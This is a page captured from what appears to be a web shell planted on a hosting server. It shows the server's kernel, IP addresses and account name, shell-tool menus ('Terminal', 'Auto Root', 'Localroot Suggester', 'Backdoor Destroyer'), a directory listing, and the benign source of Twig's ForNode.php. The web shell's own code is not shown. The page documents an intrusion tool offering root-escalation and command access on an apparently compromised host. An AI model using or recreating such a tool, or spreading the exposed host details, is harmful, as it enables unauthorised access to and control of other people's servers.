Linux srv25.usacloudserver.us 5.14.0-570.39.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 4 05:08:52 EDT 2025 x86_64
LiteSpeed
Server IP : 23.137.84.82 & Your IP : 216.73.216.127
Domains :
Cant Read [ /etc/named.conf ]
User : epicgamerzoneco
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
cpguard /
app /
vendor /
twig /
twig /
src /
Node /
Delete
Unzip
Name
Size
Permission
Date
Action
Expression
[ DIR ]
drwxr-xr-x
2025-05-08 04:26
AutoEscapeNode.php
866
B
-rw-r--r--
2024-09-27 07:26
BlockNode.php
1.21
KB
-rw-r--r--
2024-09-27 07:26
BlockReferenceNode.php
870
B
-rw-r--r--
2024-09-27 07:26
BodyNode.php
389
B
-rw-r--r--
2024-09-27 07:26
CaptureNode.php
1.48
KB
-rw-r--r--
2024-09-27 07:26
CheckSecurityCallNode.php
653
B
-rw-r--r--
2025-05-08 04:26
CheckSecurityNode.php
2.97
KB
-rw-r--r--
2024-09-27 07:26
CheckToStringNode.php
1.25
KB
-rw-r--r--
2024-09-27 07:26
DeprecatedNode.php
1.83
KB
-rw-r--r--
2024-09-27 07:26
DoNode.php
820
B
-rw-r--r--
2024-09-27 07:26
EmbedNode.php
1.54
KB
-rw-r--r--
2025-05-08 04:26
EmptyNode.php
648
B
-rw-r--r--
2025-05-08 04:26
FlushNode.php
772
B
-rw-r--r--
2024-09-27 07:26
ForElseNode.php
864
B
-rw-r--r--
2025-05-08 04:26
ForLoopNode.php
1.42
KB
-rw-r--r--
2024-09-27 07:26
ForNode.php
4.37
KB
-rw-r--r--
2025-05-08 04:26
IfNode.php
2.24
KB
-rw-r--r--
2025-05-08 04:26
ImportNode.php
1.86
KB
-rw-r--r--
2025-05-08 04:26
IncludeNode.php
3.2
KB
-rw-r--r--
2025-05-08 04:26
MacroNode.php
3.94
KB
-rw-r--r--
2025-05-08 04:26
ModuleNode.php
15.57
KB
-rw-r--r--
2025-05-08 04:26
NameDeprecation.php
916
B
-rw-r--r--
2024-09-27 07:26
Node.php
9.17
KB
-rw-r--r--
2025-05-08 04:26
NodeCaptureInterface.php
384
B
-rw-r--r--
2024-09-27 07:26
NodeOutputInterface.php
363
B
-rw-r--r--
2024-09-27 07:26
Nodes.php
526
B
-rw-r--r--
2025-05-08 04:26
PrintNode.php
1008
B
-rw-r--r--
2024-09-27 07:26
SandboxNode.php
1.28
KB
-rw-r--r--
2024-09-27 07:26
SetNode.php
3.91
KB
-rw-r--r--
2025-05-08 04:26
TextNode.php
834
B
-rw-r--r--
2024-09-27 07:26
TypesNode.php
569
B
-rw-r--r--
2025-05-08 04:26
WithNode.php
2.07
KB
-rw-r--r--
2024-09-27 07:26
Save
Rename
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * (c) Armin Ronacher * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Twig\Node; use Twig\Attribute\YieldReady; use Twig\Compiler; use Twig\Node\Expression\AbstractExpression; use Twig\Node\Expression\Variable\AssignContextVariable; /** * Represents a for node. * * @author Fabien Potencier <fabien@symfony.com> */ #[YieldReady] class ForNode extends Node { private $loop; public function __construct(AssignContextVariable $keyTarget, AssignContextVariable $valueTarget, AbstractExpression $seq, ?Node $ifexpr, Node $body, ?Node $else, int $lineno) { $body = new Nodes([$body, $this->loop = new ForLoopNode($lineno)]); if (null !== $ifexpr) { trigger_deprecation('twig/twig', '3.19', \sprintf('Passing not-null to the "ifexpr" argument of the "%s" constructor is deprecated.', static::class)); } if (null !== $else && !$else instanceof ForElseNode) { trigger_deprecation('twig/twig', '3.19', \sprintf('Not passing an instance of "%s" to the "else" argument of the "%s" constructor is deprecated.', ForElseNode::class, static::class)); $else = new ForElseNode($else, $else->getTemplateLine()); } $nodes = ['key_target' => $keyTarget, 'value_target' => $valueTarget, 'seq' => $seq, 'body' => $body]; if (null !== $else) { $nodes['else'] = $else; } parent::__construct($nodes, ['with_loop' => true], $lineno); } public function compile(Compiler $compiler): void { $compiler ->addDebugInfo($this) ->write("\$context['_parent'] = \$context;\n") ->write("\$context['_seq'] = CoreExtension::ensureTraversable(") ->subcompile($this->getNode('seq')) ->raw(");\n") ; if ($this->hasNode('else')) { $compiler->write("\$context['_iterated'] = false;\n"); } if ($this->getAttribute('with_loop')) { $compiler ->write("\$context['loop'] = [\n") ->write(" 'parent' => \$context['_parent'],\n") ->write(" 'index0' => 0,\n") ->write(" 'index' => 1,\n") ->write(" 'first' => true,\n") ->write("];\n") ->write("if (is_array(\$context['_seq']) || (is_object(\$context['_seq']) && \$context['_seq'] instanceof \Countable)) {\n") ->indent() ->write("\$length = count(\$context['_seq']);\n") ->write("\$context['loop']['revindex0'] = \$length - 1;\n") ->write("\$context['loop']['revindex'] = \$length;\n") ->write("\$context['loop']['length'] = \$length;\n") ->write("\$context['loop']['last'] = 1 === \$length;\n") ->outdent() ->write("}\n") ; } $this->loop->setAttribute('else', $this->hasNode('else')); $this->loop->setAttribute('with_loop', $this->getAttribute('with_loop')); $compiler ->write("foreach (\$context['_seq'] as ") ->subcompile($this->getNode('key_target')) ->raw(' => ') ->subcompile($this->getNode('value_target')) ->raw(") {\n") ->indent() ->subcompile($this->getNode('body')) ->outdent() ->write("}\n") ; if ($this->hasNode('else')) { $compiler->subcompile($this->getNode('else')); } $compiler->write("\$_parent = \$context['_parent'];\n"); // remove some "private" loop variables (needed for nested loops) $compiler->write('unset($context[\'_seq\'], $context[\''.$this->getNode('key_target')->getAttribute('name').'\'], $context[\''.$this->getNode('value_target')->getAttribute('name').'\'], $context[\'_parent\']'); if ($this->hasNode('else')) { $compiler->raw(', $context[\'_iterated\']'); } if ($this->getAttribute('with_loop')) { $compiler->raw(', $context[\'loop\']'); } $compiler->raw(");\n"); // keep the values set in the inner context for variables defined in the outer context $compiler->write("\$context = array_intersect_key(\$context, \$_parent) + \$_parent;\n"); } }